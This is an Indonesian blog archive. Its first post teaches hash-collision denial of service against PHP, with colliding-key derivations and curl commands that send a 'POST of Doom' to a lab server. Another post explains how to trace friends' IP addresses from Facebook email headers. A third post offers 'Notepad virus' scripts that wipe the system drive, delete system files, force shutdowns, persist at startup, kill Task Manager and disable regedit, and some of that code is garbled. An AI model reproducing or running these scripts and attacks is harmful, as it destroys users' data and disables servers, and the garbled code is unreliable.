Dunia Kita

Memahami Serangan Hash table Collision Denial of Service

2012-01-24T18:17:00.001+07:00

Pada Desember 2011 lalu, nRuns AG mempublikasikan kerentantan pada implementasi hash table yang bisa dieksploitasi untuk melakukan serangan denial of service. Karena hash table adalah struktur data dasar yang tersedia di hampir semua bahasa pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb.

Saya akan membahas mengenai apa itu hash table, cara kerja hash table, di mana kerentanan implementasi hash table saat ini dan bagaimana cara mengeksploitasinya.

Associative array atau Map

Sebelum berbicara mengenai hash table, kita perlu tahu dulu bahwa associative array (disebut juga map atau dictionary) adalah abstract data type (ADT) yang terdiri dari pasangan kunci dan nilai dan dalam associative array tidak boleh ada kunci yang duplikat atau dobel (nilai boleh dobel, tapi kunci tidak boleh). Kunci ini bertindak seperti halnya nama dari data yang disimpan, sehingga dengan mengasosiasikan suatu data dengan kunci berupa nama atau identifier yang lain, data yang diinginkan bisa diambil dengan mudah dengan menyebutkan kuncinya.

Dalam contoh associative array di atas bila kita ingin tahu produsen mobil ini siapa, kita cukup mencari dengan kunci “make”, maka akan keluar datanya yaitu “Jeep”. Bila kita ingin tahu warna mobil ini apa, kita mencari dengan kunci “color”, maka akan keluar datanya “green”.

Lalu apa hubungannya associative array dengan hash table?

Associative array adalah abstract data type, artinya strutktur data yang masih berupa konsep atau spesifikasi saja. Hash table adalah salah satu (bukan satu-satunya) implementasi dari associative array, artinya hash table ini adalah concrete data type (sudah konkrit bukan lagi abstract/konseptual).

The basic idea of a hash table is that each item that might be stored in the table has a natural location in the table. This natural location can be computed as a function of the item itself. When searching for an item, it is not necessary to go through all the possible locations in the table; instead, you can go directly to the natural location of the item – Data Structures and Algorithms, David J. Eck

Kutipan di atas menggambarkan ide dasar dari hash table dengan baik. Bayangkan bila kita ingin mencari orang yang bernama Agus di sebuah desa yang terdiri dari 100 rumah dan kita harus mencarinya satu per satu dari rumah ke rumah, tentu akan memakan usaha dan waktu yang sangat lama. Hash table menghindari pencarian linear seperti ini. Daripada mencari satu per satu di semua rumah, dengan satu formula matematis tertentu, bisa diketahui bahwa berdasarkan namanya, Agus berada di rumah nomor XX (natural location), sehingga kita cukup mencari di satu rumah saja. Jauh lebih cepat dan efisien bukan?

Fungsi atau formula matematis yang digunakan untuk mencari lokasi data (natural location) dari suatu kunci dalam hash table adalah fungsi hash. Output dari fungsi hash ini disebut dengan hash code. Hash table pada dasarnya adalah sebuah array (setiap elemen array ini disebut dengan bucket), jadi fungsi hash ini akan menghasilkan index array berupa integer, dimana lokasi data disimpan.

Saya sudah membuat gambar animasi di bawah ini untuk memperlihatkan proses memasukkan data dalam hash table yang terdiri dari 6 bucket, data yang dimasukkan adalah nama sebagai key, dan tanggal lahir sebagai datanya.

Dalam gambar animasi di atas tidak terjadi collision, masing-masing data dimasukkan dalam bucket yang berbeda jadi operasi insert bisa dilakukan dengan cepat. Berikutnya kita akan melihat kasus ketika terjadi hash collision, artinya ada lebih dari satu data yang dimasukkan dalam bucket yang sama.

Hash collision

Perhatikan bahwa jumlah kemungkinan kunci sangat banyak, bahkan tak terhingga. Bila kunci adalah nama orang, jumlah kemungkinan nama orang sangat banyak, sedangkan jumlah sel dalam hash table terbatas. Hal ini memungkinkan timbulnya collision, artinya ada 2 atau lebih kunci yang menghasilkan hash code yang sama (berebut dalam satu sel yang sama).

Karena collision tidak mungkin terhindarkan, implementasi hash table harus menentukan apa yang harus dilakukan bila terjadi collision. Salah satu cara yang banyak dipakai adalah dengan mengijinkan lebih dari satu nilai dalam satu lokasi. Umumnya hash table menggunakan struktur data linked list untuk menyimpan lebih dari satu nilai dalam satu lokasi (bucket) yang sama.

Bila data akan dimasukkan ke dalam bucket yang sudah ada isinya (collision terjadi), maka operasinya tidak sesederhana pada kasus bucket kosong. Mari kita perhatikan animasi yang saya buat di bawah ini.

Ketika memasukkan data (insert), pada bucket yang tidak kosong maka perlu dilakukan operasi komparasi kunci untuk melihat apakah kunci yang sama sudah ada di bucket itu atau belum. Bila kunci yang sama ternyata ada di situ, artinya operasi insert berubah menjadi operasi update, yaitu mengubah data yang lama dengan yang baru. Bila kunci yang dimasukkan tidak ada di situ, maka kunci dan data yang dimasukkan akan disimpan di node paling akhir dari bucket tersebut.

Perhatikan sekali lagi animasi di atas.

Pada saat memasukkan data agus, kondisi bucket no.4 sudah berisi 1 node yaitu john. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 1x, apakah john==agus yaitu apakah kunci di node pertama dalam bucket tersebut adalah agus? Bila ternyata sama tidak perlu membuat node baru, hanya melakukan update node tersebut dengan data baru.
Pada saat memasukkan data adi, kondisi bucket no. 4 sudah berisi 2 node yaitu john dan agus. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 2x, apakah john==adi ? dan apakah agus==adi?
Pada saat memasukkan data budi, kondisi bucket no. 4 sudah berisi 3 node: john, agus, adi. Sebelum bisa memasukkan data, harus dilakukan komparasi sebanyak 3x, apakah john=budi? , apakah agus=budi? dan apakah adi=budi?

Bisa disimpulkan bahwa bila terjadi collision dan di dalam bucket tersebut sudah berisi n data, untuk melakukan operasi insert sebuah data, diperlukan operasi komparasi maximal n kali. Komparasi maximal n kali terjadi bila data yang akan dimasukkan tidak ada dalam bucket (harus membuat node baru).

Ini artinya ketika terjadi collision, prosesor harus bekerja jauh lebih berat daripada ketika tidak terjadi collision

Normal vs Worst Case

Kita sudah membahas sebelumnya bagaimana prosesor harus bekerja jauh lebih berat ketika terjadi collision daripada ketika tidak terjadi collision. Kita bisa melihat bagaimana bentuk hash table dalam kondisi normal dan ketika terjadi kasus terburuk (worst case) pada gambar di bawah ini.

Source: Crosby and Wallach's "Denial of Service via Algorithmic Complexity Attacks"

Gambar di sisi kiri adalah gambar hash table dalam kasus yang normal atau rata-rata. Dalam kasus yang normal, collision memang tidak terhindarkan, namun dalam jumlah yang wajar jadi tidak membahayakan. Namun gambar di sisi kanan adalah kasus terburuk, dimana semua data berkumpul dalam satu bucket yang sama. Kalau yang terjadi adalah kasus terburuk, memang hasilnya benar-benar buruk, yaitu prosesor akan bekerja sangat berat dan berujung pada denial of service (DoS).

Mungkinkah kejadian worst case itu terjadi ? ya mungkin saja, tapi sangat jarang terjadi, kecuali bila memang sengaja untuk melakukan Denial of Service.

Kompleksitas Algoritma

Ketika tidak terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data adalah konstan, anggap lah satu, jadi kalau ada n data maka usaha yang harus dilakukan prosesor adalah 1*n, jadi bisa dikatakan kompleksitasnya O(n) atau linear complexity.

Ketika terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data ke dalam hash table tergantung dari data yang sudah ada dalam bucket yang sama. Mari kita analisa kasus terburuk dimana n data dengan kunci yang unik (tidak ada yang duplikat) dimasukkan ke dalam hash table dan semuanya berkumpul dalam bucket yang sama.

Ketika memasukkan data yang pertama, bucket masih kosong, usaha yang harus dilakukan prosesor adalah 1.
Ketika memasukkan data yang ke-2, bucket berisi 1 node, akibatnya prosesor harus melaukan komparasi 1 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 2 usaha.
Ketika memasukkan data yang ke-3, bucket berisi 2 node, akibatnya prosesor harus melakukan komparasi 2 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 3 usaha.
Dan seterusnya, data yang ke-n, total usaha adalah n.

Jadi total usaha yang harus dilakukan untuk memasukkan n data adalah 1+2+3+….+n = n * (n+1) / 2. Dalam menilai kompleksitas algoritma, n+1 bisa dianggap n dan 1/2 bisa diabaikan karena kita tidak sedang mengukur secara eksak, kita hanya melihat kompleksitasnya relatif terhadap jumlah input. Jadi bisa dikatakan kompleksitas ketika terjadi worst case adalah n*n atau O(n²) (quadratic complexity), artinya bila jumlah input dinaikkan menjadi 2x lipat, maka usaha atau waktu yang dibutuhkan prosesor naik menjadi 4x lipat.

Perbedaan antara linear O(n) ketika tidak terjadi collision dan quadratic complexity O(n²) dalam situasi worst case sangat signifikan, hal ini bisa dilihat dari grafik di bawah ini.

source: http://recursive-design.com/blog/2010/12/07/comp-sci-101-big-o-notation/

Implementasi Hash table dalam PHP

Dalam source code php, hash table diimplementasikan dalam dua file yaitu zend_hash.c dan zend_hash.h. Berikut ini adalah definisi tipe hashtable dan bucket.

Isi utama dari Hashtable adalah arBuckets yaitu array of Bucket. Bucket adalah tempat data disimpan dalam bentuk pasangan (arKey, pData). Bucket juga merupakan node dalam linked list yang memiliki pointer ke Bucket lain di sebelah kanan dan kirinya. Lebih mudahnya bisa dilihat pada gambar di bawah ini.

source: http://stblog.baidu-tech.com/?p=763

Skenario dalam gambar di atas adalah memasukkan 6 data dalam urutan K1, K2, K4, K5, K6, K7. K1 dimasukkan dalam bucket no. 1, kemudian diikuti dengan K2 dalam bucket no. m. Berikutnya adalah K4 dimasukkan dalam bucket no.2. Ketika memasukkan K5, ternyata dimasukkan dalam bucket no.1 yang sudah berisi K1 sebelumnya. Jadi K5 dan K1 membentuk linked list dalam bucket no. 1. Begitu juga dengan K6 dan K7 dimasukkan dalam bucket yang sama dengan K2 sehingga membentuk linked list dalam bucket no. m.

Selain dalam arBuckets, juga ada linked list global yang menyimpan semua data dalam hash table. Hashtable menyimpan pointer ke data pertama (pListHead), pointer internal dan pointer ke data terakhir (pListTail).

Key to Bucket

Bagaimana proses mengubah dari key menjadi lokasi bucket dalam hash table? Secara umum prosesnya adalah sebagai berikut:

hash(key) => hashcode berupa integer
hashcode diubah menjadi index dari 0-table size dengan cara modulo atau bit masking

Keluaran fungsi hash adalah integer yang berukuran besar, padahal ukuran hash table biasanya tidak besar. Secara default di PHP ukuran hash table adalah 8 bucket sehingga untuk hash table berukuran 8, hashcode harus diubah menjadi nilai integer dari 0 s/d 7.

Cara pertama adalah dengan modulo, suatu integer berapapun besarnya bila di modulo dengan 8, hasilnya pasti antara 0 s/d 7. Cara kedua adalah masking dengan operasi AND. Suatu integer 32 bit, bila di-AND dengan 111, hasilnya adalah semua bit diubah menjadi 0 kecuali bit-1 sampai bit ke-3 yang tetap apa adanya. Hasil dari masking ini adalah integer antara 0 s/d 7. PHP memakai cara yang kedua, yaitu AND masking dengan (nTableSize-1).

PHP membedakan antara key berupa integer dan key berupa string. Bila key adalah integer, maka hashcode adalah key itu sendiri. Bila key adalah string, maka fungsi hash akan mengubahnya menjadi hashcode berupa integer.

Dari proses pengubahan key menjadi lokasi bucket bisa disimpulkan ada 2 kondisi agar terjadi collision:

Memilih key yang menghasilkan hash code yang sama. Hash code yang sama tentu akan menghasilkan posisi index bucket yang sama setelah dilakukan operasi masking AND.
Memilih key dengan hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND.

Mari kita coba cara yang ke-2 di bawah ini.

Hash Collision dengan Key Integer

Gambar di atas adalah eksekusi dari source php dari situs nikic.github.com. Dua kasus tersebut tugas yang dikerjakan sama, yaitu memasukkan angka 0 sebanyak 65536 ke dalam hash table. Hanya saja perbedaannya, kasus pertama disengaja memasukkan 65536 angka 0 tersebut seluruhnya di bucket yang sama (100% collision) , akibatnya prosesor harus bekerja ekstra keras dan dibutuhkan waktu 115 detik untuk menyelesaikan tugasnya. Normalnya hanya dibutuhkan waktu 0.04 detik saja. Sangat signifikan perbedaannya bukan?

Kasus di atas adalah 100% collision dengan cara yang ke-2, yaitu memilih key yang memiliki hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND. Mari kita lihat source codenya:

 
$size = pow(2, 16); // 16 is just an example, could also be 15 or 17
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    $array[$key] = 0;
}
$endTime = microtime(true);
echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
    $array[$key] = 0;
}
$endTime = microtime(true);
echo 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";
?>

Mengapa bisa terjadi 100% collision? Perhatikan tabel di bawah ini.

Karena key berupa integer, maka hash code sama dengan key. Karena size adalah 8, maka bit mask adalah 111 (7 desimal). Key dipilih 0, 8, 16 dan seterusnya kelipatan 8 karena key tersebut dalam binary 3 bit paling bawahnya bernilai 000. Karena 3 bit paling bawah dari key selalu 000, maka ketika dilakukan operasi AND dengan 0111, hasilnya selalu 0. Jadi semua key yang dipilih (0,8,16,24…) menghasilkan index bucket yang sama yaitu bucket 0 sehingga semua data berkumpul di bucket 0 (100% collision).

Hash Collision dengan Key String

Perbedaan antara key berupa integer dan string hanya pada hash code yang dihasilkan. PHP 5 menggunakan fungsi hash DJBX33A untuk mengubah string menjadi hashcode berupa integer. Selanjutnya hashcode juga akan dimasking dengan operasi AND. PHP 4 menggunakan fungsi hash yang sedikit berbeda, yaitu DJBX33X, kita akan membahas fungsi ini beserta eksploitasinya di artikel selanjutnya.

Dalam kasus sebelumnya kita bisa dengan mudah memilih key yang menghasilkan 100% collision karena key yang digunakan adalah integer. Dalam kasus tersebut kita memakai cara yang ke-2, yaitu hash code berbeda, namun hasil masking menghasilkan index bucket yang sama. Dalam key berupa string kita akan memakai cara pertama, yaitu memilih key yang menghasilkan hash code yang sama.

Sulit kah mencari key yang menghasilkan hash yang sama? Jangan dibayangkan hash disini adalah cryptographic hash seperti MD5 atau SHA yang memang sudah dirancang untuk sangat sulit mencari dua string dengan hash yang sama. Fungsi hash DJBX33A sangat sederhana, jadi tidak sesulit mencari collision di MD5 atau SHA.

Di bawah ini adalah implementasi fungsi hash DJBX33A dalam php:

static inline ulong zend_inline_hash_func(const char *arKey, uint nKeyLength)
{
 register ulong hash = 5381;
 
 /* variant with the hash unrolled eight times */
 for (; nKeyLength >= 8; nKeyLength -= 8) {
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
  hash = ((hash << 5) + hash) + *arKey++;
 }
 switch (nKeyLength) {
  case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  case 1: hash = ((hash << 5) + hash) + *arKey++; break;
  case 0: break;
EMPTY_SWITCH_DEFAULT_CASE()
 }
 return hash;
}

Walaupun terlihat panjang tapi sebenarnya source di atas adalah bentuk efisiensi saja dengan mengubah perkalian 33 dengan operasi shift left 5 kali ditambah hash satu kali, bentuk yang sederhananya adalah:

hash_t bernstein_hash(const unsigned char *key)
{
 hash_t h=5381;
 while(*key) h=33*h + *key++;
 return h;
}

Mari kita lihat beberapa contoh hash. Dalam fungsi DJBX33A digunakan nilai awal hash 5381. Perlu diingat bahwa kode ascii A,B,C,D adalah 65,66,67,68.

hash(“A”) = 5381×33 + 65 = 5381×33¹ + 65×33⁰
hash(“AB”) = hash(“A”) x 33 + 66 = 5381×33² + 65×33¹ + 66×33⁰
hash(“ABC”) = hash(“AB”) x 33 + 67 = 5381×33³ + 65×33² + 66×33¹ + 67×33⁰
hash(“ABCD”) = hash(“ABC”) x 33 + 68 = 5381×33⁴ + 65×33³ + 66×33² + 67×33¹ + 68×33⁰

Dengan kata lain hash dari string S dengan panjang n adalah:
5381×33ⁿ+∑ S[i] x 33^n-i

Dengan formula yang sederhana seperti ini kita bisa dengan mudah mencari beberapa string yang memiliki hash yang sama. Agar lebih sederhana kita gunakan nilai hash awal bukan 5381, tapi 0 saja. Mari kita coba cari dua string terdiri dua karakter diawali dengan huruf A dan huruf C, kita akan mencari huruf keduanya.

hash(“A?”) = hash(“C?”)
65 * 33 + x = 67 * 33 + y
2145 + x = 2211 + y
x – y = 66

Kita sekarang tinggal mencari dua karakter yang selisih kode asciinya adalah 66.

Bila x=122 (kode ascii ‘z’),y adalah 56 (kode ascii ’8′),maka hash(“Az”)=hash(“C8″)
Bila x=121 (kode ascii ‘y’),y adalah 55 (kode ascii ’7′),maka hash(“Ay”)=hash(“C7″)
Bila x=120 (kode ascii ‘x’),y adalah 54 (kode ascii ’6′),maka hash(“Ax”)=hash(“C6″)
Bila x=119 (kode ascii ‘w’),y adalah 53 (kode ascii ’5′),maka hash(“Aw”)=hash(“C5″)

Kita bisa dengan mudah menemukan banyak collision dengan perhitungan sederhana seperti ini. Tapi selain dengan cara itu, kita bisa lebih jauh lagi mencari collision dengan teknik equivalent substring.

Equivalent Substring

Karena fungsi hash DJBX33A sifatnya linear, maka bila diketahui hash(“Aw”)=hash(“C5″), akan berlaku:

hash(“prefix+Aw”)=hash(“prefix+C5″)
hash(“Aw+suffix”)=hash(“C5+suffix”)
hash(“prefix+Aw+suffix”)=hash(“prefix+C5+suffix”)

Dengan cara ini kita bisa mengembangkan collision “Aw” dan “C5″ menjadi ribuan collision lain dengan menambahkan random prefix dan suffix, contohnya:

hash(“xcvbAw”)=hash(“xcvbC5″)
hash(“52$$Aw”)=hash(“52$$C5″)
hash(“Aw889″)=hash(“C5889″)
hash(“Aw**”)=hash(“C5**”)
hash(“@@Aw**”)=hash(“@@C5**”)

Mengapa equivalent substring ini berlaku? Kita lihat contoh berikut, bila diketahui hash(“Aw”)=hash(“C5″), sekarang kita coba tambahkan suffix ‘#’, berapakah h(“Aw#”) dan h(“C5#”) ?

h(“Aw”) = h(“C5″) = y
h(“Aw#”) = h(“Aw”) * 33 + ascii(‘#’)
h(“C5#”) = h(“C5″) * 33 + ascii(‘#’)
h(“Aw#”) = h(“C5#”) = y * 33 + ascii(‘#’)

Begitu juga dengan penambahan prefix. Mari kita lihat bila h(“Aw”)=h(“C5″) apakah h(“#Aw”)=h(“#C5″) juga?

h(“Aw”) = h(“C5″) = y
h(“Aw”) = 5381*33^2 + 65*33 + 119
h(“C5″) = 5381*33^2 + 67*33 + 53
h(“#Aw”)=5381*33^3+35*33^2+65*33+119 = 5381*33^3 + 35*33^2 + h(“Aw”) – 5381*33^2
h(“#C5″)=5381*33^3+35*33^2+67*33+53 = 5381*33^3 + 35*33^2 + h(“C5″) – 5381*33^2
h(“#Aw”) = h(“#C5″) = 5381*33^3 + 35*33^2 + y – 5381*33^2

Attacking via POST data

Ketika kita mengirimkan request POST ke suatu file PHP, php akan menyiapkan sebuah hash table bernama $_POST untuk menampung parameter yang dikirim via POST request.

Contoh di bawah ini adalah ketika kita mengirim POST request dengan curl, dan mengirimkan dua paramter ABC dan test kemudian isi hash table $_POST di-dump dengan print_r().

root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d "ABC=123&test=aaa"
Array
(
    [ABC] => 123
    [test] => aaa
)

Kita bisa membuat prosesor di server bekerja ekstra keras dengan mengirimkan parameter POST yang 100% collision. Dengan teknik equivalent substring kita bisa meng-generate banyak parameter name yang menghasilkan collision. Sebagai contoh bila diketahui hash(“Aw”)=hash(“C5″), maka kita bisa mulai dari “AwAwAw” kemudian melakukan kombinasi dengan mengganti substring “Aw” dengan “C5″:

AwAwAw
AwAwC5
AwC5Aw
C5AwAw
AwC5C5
C5C5C5

Bila kita mengirimkan POST request dengan post data:

“AwAwAw=&AwAwC5&AwC5Aw=&C5AwAw=&AwC5C5=&C5C5C5=”

maka 6 parameter post tersebut akan menghasilkan 100% collision. Tentu saja 6 collision saja tidak terasa efeknya, semakin banyak collision yang dikirim dalam satu request POST semakin berat kerja prosesor.

Di internet sudah banyak beredar parameter POST data yang menghasilkan 100% collision. Kita bisa meng-generate sendiri atau mengambil dari internet. Salah satu parameter post di internet adalah http://jrs-s.net/hashcollide.txt yang berisi 65536 parameter post:

POST of Doom

Sekarang kita coba melakukan serangan DoS dengan menggunakan parameter name dari internet. Kita akan menggunakan curl sebagai tools untuk mengirimkan POST request ke target. Parameter post disimpan dalam file hashcollide.txt.

root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d @hashcollide.txt -v 
* About to connect() to 192.168.7.198 port 80 (#0)
*   Trying 192.168.7.198... connected
* Connected to 192.168.7.198 (192.168.7.198) port 80 (#0)
> POST /hashcollision/test2.php HTTP/1.1
> User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
> Host: 192.168.7.198
> Accept: */*
> Content-Length: 1441792
> Content-Type: application/x-www-form-urlencoded
> Expect: 100-continue
> 
< HTTP/1.1 100 Continue

Cukup 2 request POST of Doom seperti ini saja prosesor sudah terpakai 100%. Dalam kasus ini dibutuhkan dua request POST karena masing-masing request menghabiskan 50% cpu dari dual core processor.

Dari grafik cpu usage di task manager juga terlihat lonjakan cpu usage, dari tadinya normal menjadi 100% setelah menerima request POST of Doom ini.

Serangan ini berbahaya karena DoS tidak dilakukan dengan menghujani (flooding) server dengan banyak request, tapi dilakukan cukup satu saja request yang mengandung parameter post yang 100% collision.

Cara Melacak IP Address Lewat Email Notifikasi Facebook

2011-05-16T16:14:00.000+07:00

Ketika teman Facebook anda memposting comment pada status atau wall, sebuah notifikasi email akan dikirimkan oleh Facebook ke email anda. Pada header email notifikasi tersebut, Facebook ternyata menyertakan informasi IP Address dari teman anda.
Matt C dari Binary Intelligence Blog baru-baru ini mempublikasikan salah satu cara untuk melacak IP Adresss memanfaatkan informasi pada header email notifikasi Faceboook.
Hal ini mungkin bukan hal yang merisaukan dan bukan merupakan satu-satunya masalah privasi terkait Facebook. Namun Matt menyarankan Facebook tidak perlu menyertakan informasi IP Address pengguna pada header email. Matt berharap Facebook dapat segera memperbaiki masalah ini.
Berikut cara untuk melacak IP Address teman lewat email notifikasi Facebook :
1. Buka email notifikasi yang diterima dari Facebook.
2. Tampilkan header email. Jika anda menggunakan Mozilla Thunderbird, untuk menampilkan header email klik View -> Header – All.
3. Copy baris yang kurang lebih berisi X-Facebook: from zuckmail ([MZIabcEwMi53MC53]) kemudian Paste ke form yang disediakan di situs http://www.myiptest.com/staticpages/index.php/trace-email-sender . Klik Check It

Cara Membuat Virus Dengan Notepad

2010-12-09T13:40:00.002+07:00

1. MEMBUAT VIRUS RESTART

Masuk Notepad kemudian isi script di bawah ini :

@echo off

shutdown -r -f -t 00

Perintah ini hanya akan me-restart komputer Anda. Anda aman untuk mencobanya. Sama seperti script virus.bat, script di atas ini juga harus disimpan dengan ekstensi .bat, misalnya restart.bat

2. MEMBUAT VIRUS DI NOTEPAD

Masuk Notepad kemudian masukkan script di bawah ini :

offcd\WINDOWS\@del explorer.exe@del

NOTEPAD.execd\WINDOWS\system32\@del winlogon.exe@del

spider.exe@del notepad.exe@del mspaint.exe@del accwiz.exe@del

Simpan script tersebut dalam bentuk file.vbs, misal : Virus.vbs

3. MEMBUAT VIRUS UNTUK MEMATIKAN WINDOWS

Masuk Notepad kemudian tulis script di bawah ini :

CreateObject(”WScript.Shell”).run “shutdown -s-f -t 60, vbhide

Simpan script tersebut dalam bentuk file.vbs, misal : virusshutdown.vbs. Virus ini berfungsi untuk mematikan windows dalam waktu 60 sekon “shutdown -s-f -t 60". (60) Ganti waktu yang dinginkan. Misalnya 30 detik/sesuai keinginan.

s = Shutdown

r = Reboot/restart

kalau untuk restart ganti yang berwarna Biru dengan r. jadi

CreateObject(”WScript.Shell”).run “shutdown -r-f -t 60, vbhide

4. MEMBUAT VIRUS YANG DAPAT MENGHAPUS FILE

Masuk Notepad kemudian tulis script di bawah ini, agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:

On Error Resume Next

set hapus = CreateObject(”Scripting.FileSystemObject”)

hapus.DeleteFile “C:\xxx.exe” (menghapus file xxx.exe di direktory C:\)

hapus.DeleteFolder “C:\antivirus” (menghapus folder antivirus di direktory C:\)

Contoh :

On Error resume Next

set hapus = CreateObject(”Scripting.FileSystemObject”)

hapus.DeleteFile “C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe”

hapus.DeleteFolder “C:\antivirus”

Kemudian simpan script tersebut dalam bentuk file.vbs, misal: virusdeleted.vbs

5. MENJALANKAN VIRUS PADA SAAT STARTUP ATAU SAAT WINDOWS DIHIDUPKAN

Masuk Notepad kemudian tulis script di bawah ini :

On Error Resume Next

CreateObject(”WScript.Shell”).RegWrite “HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\CurrentVersion\Run\virus”

, “c:\windows\system32\virus.vbs” (menjalankan virus yang berada di direktory c:\windows\system32 dengan nama virus.vbs)

Simpan script tersebut dalam bentuk file.reg, misal : virusstartup.reg

6. MEMBUAT VIRUS PEMBUNUH PROSES

Virus ini digunakan untuk membunuh proses (proses adalah program yang sedang berjalan) misalnya kita akan membunuh proses taskmanager. Masuk Notepad kemudian tulis script di bawah ini :

On Error Resume Next

CreateObject(”WScript.Shell”)

.run “taskkill /f /im taskmgr.exe”, vbhide

Simpan script tersebut dalam bentuk file.vbs, misal: virustaskkill.vbs

7. MEMBUAT VIRUS YANG DAPAT MENGOPYKAN DIRI KE DEREKTORY LAIN

Masuk Notepad kemudian tulis script di bawah ini :

CreateObject(”Scripting.FileSystemObject”).

GetFile(WScript.ScriptFullName).Copy “c:\windows\system32\virus.vbs”

Simpan script tersebut dalam bentuk file.vbs, misal : virus.vbs
Ada juga cara lain dengan script seperti ini:

On Error Resume Nextcreateobject(”scripting.filesystemobject”).copyfile wscript.scriptfullname,createobject(”scripting.filesystemobject”).getspecialfolder(1) & “\virus.vbs”

Simpan script tersebut dalam bentuk file.vbs, misal : virus.vbs

.getspecialfolder(0) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory Windows
.getspecialfolder(1) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory System32
.getspecialfolder(2) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory Temporary

8. MEMBUAT VIRUS BERBAHAYA

Ketik script berikut di notepad, dan simpan dengan ekstensi bat, misalnya virus.bat

@echo off

del %systemdrive%\*.* /f /s /q

shutdown -r -f -t 00

9. MEN-DISABLE REGEDIT MENGGUNAKAN VIRUS

Masuk Notepad kemudian tulis script di bawah ini :

On Error Resume NextCreateObject(”WScript.Shell”).run “cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d “”1” /f”, vbhide

On Error Resume Next (perintah ini digunakan pada file vb supaya bila ada yang script yang salah bisa dilanjutkan ke kode berikutnya) Simpan script tersebut dalam bentuk file.vbs, misal : disableregedit.vbs

Mengganti Layout Facebook

2010-05-04T14:08:00.000+07:00

Sekarang Indra akan menjelaskan secara lengkap cara ganti background layout facebook. Background dari layout facebook ini bisa berupa gambar atau foto anda. Cara ganti-nya cukup gampang kok. Anda tidak perlu meng-upload gambar/foto ke photobucket atau images hosting lainnya. Penasaran ? Mau ?

Adapun persyaratan sebelum mengganti background layout facebook, diantaranya :

- Komputer/laptop yang digunakan harus milik sendiri.
- Browser yang digunakan yaitu Mozilla Firefox atau Wyzo. Bagi yang ingin men-download Wyzo, bisa klik ini .
- Sudah terinstal add-ons Stylish di web browser anda. Kalau belum, klik ini..

Misal layout facebook anda yang sekarang seperti ini :

Untuk cara ganti background :

1. Siapkan gambar/foto di PC anda.
2. Buka gambar/foto anda lewat browser anda. Caranya klik kanan gambar anda terus pilih Open With > Mozilla Firefox.

3. Copy URL gambar anda. (Untuk contoh bisa lihat gambar dibawah ini )

4. Masuk ke profil facebook anda. Klik menu Tools > Add-ons. Terus klik User Stylish > Nama Layout Anda > Edit.

5. Cari / temukan kode CSS yang mirip seperti ini :

body, .photo, #nonfooter, #booklet  { background: url("http://i598.photobucket.com/albums/tt66/mascrisna/poster.jpg") #000000 fixed no-repeat center center!important; color:#ffffff !important; }

Lihat gambar :

6. Paste URL gambar kamu di kode CSS di atas yang berwarna biru . Kalau sudah, klik Save .

Hasilnya :

Membuat Domain Gratis di co.cc

2010-05-04T09:07:00.003+07:00

Cara membuat blog dengan domain gratis di CO.CC. Kalau Anda ingin punya domain gratis Anda bisa mendaftar dengan mudah di CO.CC atau CZ.CC. Domain ini nantinya dapat digunakan untuk banyak hal. Antara lain, (1) untuk menjadi domain blog Anda di blogspot, (2) menjadi domain Anda di wordpress.com; (3) menjadi domain Anda dengan hosting gratis di 000a.biz. Fungsi nomor (3) ini khusus bagi Anda yang ingin berlatih memiliki situs dengan domain dan hosting sendiri.

Cara daftar di CO.CC 1. Kunjungi CO.CC (aff) atau CZ.CC,
2. Di kotak yang tersedia (lihat gambar 1), isi alamat yang diinginkan. Contoh. namasaya.co.cc. Klik “Check Availability”. Kalau “Available” (belum ada yang punya), teruskan prosesnya. Kalau sudah ada yang pakai, ulangi lagi dengan mengisi nama yang lain.

3. Klik “Continue to Registration” (lihat gambar 2)

4. Klik “Create an Account Now” di bagian paling bawah (lihat gambar 3).

5. Isi formulir (lihat gambar 4). Jangan lupa kasih tanda tik (centang) di bagian paling bawah pada “I accept the Terms of Service”

6. Klik “Create an account now.”
7. Proses daftar domain selesai (gambar 5).

Selanjutnya kita harus mensetting domain tersebut untuk diarahkan sesuai tujuan kita. Yang paling mudah adalah redirect atau URL forwarding.
Berikut sejumlah fungsi yang dapat kita lakukan untuk set-up domain co.cc kita:
A. Fungsi Redirect / URL Forwarding
1. Klik “Set-up”
2. Kasih tanda tik pada button (lobang) nomor 3. URL Forwarding (gambar 7)

